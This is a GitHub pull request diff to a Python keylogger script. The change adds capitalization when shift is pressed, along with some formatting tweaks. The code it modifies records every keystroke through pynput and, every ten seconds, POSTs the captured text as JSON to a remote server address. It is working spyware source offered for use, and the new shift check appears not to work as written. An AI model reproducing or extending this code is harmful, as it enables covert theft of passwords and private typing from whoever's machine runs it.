Skip to content

Capitalize letter when shift key pressed #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 14 additions & 7 deletions keylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,28 +17,31 @@
# Time interval in seconds for code to execute.
time_interval = 10


def send_post_req():
try:
# We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using
# the format {"keyboardData" : "<value_of_text>"}
payload = json.dumps({"keyboardData" : text})
payload = json.dumps({"keyboardData": text})
# We send the POST Request to the server with ip address which listens on the port as specified in the Express server code.
# Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json.
r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"})
r = requests.post(f"http://{ip_address}:{port_number}", data=payload,
headers={"Content-Type": "application/json"})
# Setting up a timer function to run every <time_interval> specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running.
timer = threading.Timer(time_interval, send_post_req)
# We start the timer thread.
timer.start()
except:
print("Couldn't complete request!")


# We only need to log the key once it is released. That way it takes the modifier keys into consideration.
def on_press(key):
global text

# Based on the key press we handle the way the key gets logged to the in memory string.
# Read more on the different keys that can be logged here:
# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard
# Based on the key press we handle the way the key gets logged to the in memory string.
# Read more on the different keys that can be logged here:
# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard
if key == keyboard.Key.enter:
text += "\n"
elif key == keyboard.Key.tab:
Expand All @@ -57,12 +60,16 @@ def on_press(key):
return False
else:
# We do an explicit conversion from the key object to a string and then append that to the string held in memory.
text += str(key).strip("'")
if keyboard.Key.shift_pressed:
text += str(key).strip("'").capitalize()
else:
text += str(key).strip("'")


# A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread.
# In the on_press function we specified how to deal with the different inputs received by the listener.
with keyboard.Listener(
on_press=on_press) as listener:
on_press=on_press) as listener:
# We start of by sending the post request to our server.
send_post_req()
listener.join()